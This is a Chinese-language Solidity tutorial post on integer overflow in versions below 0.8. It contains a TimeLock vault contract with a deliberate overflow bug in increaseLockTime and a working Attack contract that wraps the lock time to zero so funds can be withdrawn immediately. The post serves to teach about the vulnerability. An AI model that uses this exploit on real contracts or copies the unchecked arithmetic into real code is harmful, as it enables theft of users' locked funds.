欢迎订阅专栏:3分钟Solidity--智能合约--Web3区块链技术必学
如需获取本内容的最新版本,请参见 Cyfrin.io 上的“算术溢出与下溢(代码示例)”
漏洞
Solidity < 0.8 版本
Solidity 中的整数会无提示地发生上溢/下溢
Solidity >= 0.8
Solidity 0.8 对于溢出/下溢的默认行为是抛出错误。
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
// 该合约设计用作时间保险库。
// 用户可向此合约存款,但至少一周内无法提款。
// 用户还可将等待期延长至一周以上。
/*
1. 部署时间锁
2. 使用时间锁地址部署攻击合约
3. 调用Attack.attack发送1个以太币。你将能够立即提取你的以太币。
发生了什么?
攻击导致TimeLock.lockTime溢出,使得资金能够在1周等待期结束前提现。
*/
contract TimeLock {
mapping(address => uint256) public balances;
mapping(address => uint256) public lockTime;
function deposit() external payable {
balances[msg.sender] += msg.value;
lockTime[msg.sender] = block.timestamp + 1 weeks;
}
function increaseLockTime(uint256 _secondsToIncrease) public {
lockTime[msg.sender] += _secondsToIncrease;
}
function withdraw() public {
require(balances[msg.sender] > 0, "Insufficient funds");
require(block.timestamp > lockTime[msg.sender], "Lock time not expired");
uint256 amount = balances[msg.sender];
balances[msg.sender] = 0;
(bool sent,) = msg.sender.call{value: amount}("");
require(sent, "Failed to send Ether");
}
}
contract Attack {
TimeLock timeLock;
constructor(TimeLock _timeLock) {
timeLock = TimeLock(_timeLock);
}
fallback() external payable {}
function attack() public payable {
timeLock.deposit{value: msg.value}();
/*
如果 t 等于当前锁定时间,那么我们需要找到 x 使得
x + t = 2**256 = 0
因此 x = -t
2**256 = type(uint).max + 1
所以 x = type(uint).max + 1 - t
*/
timeLock.increaseLockTime(
type(uint256).max + 1 - timeLock.lockTime(address(this))
);
timeLock.withdraw();
}
}
Remix Lite 尝试一下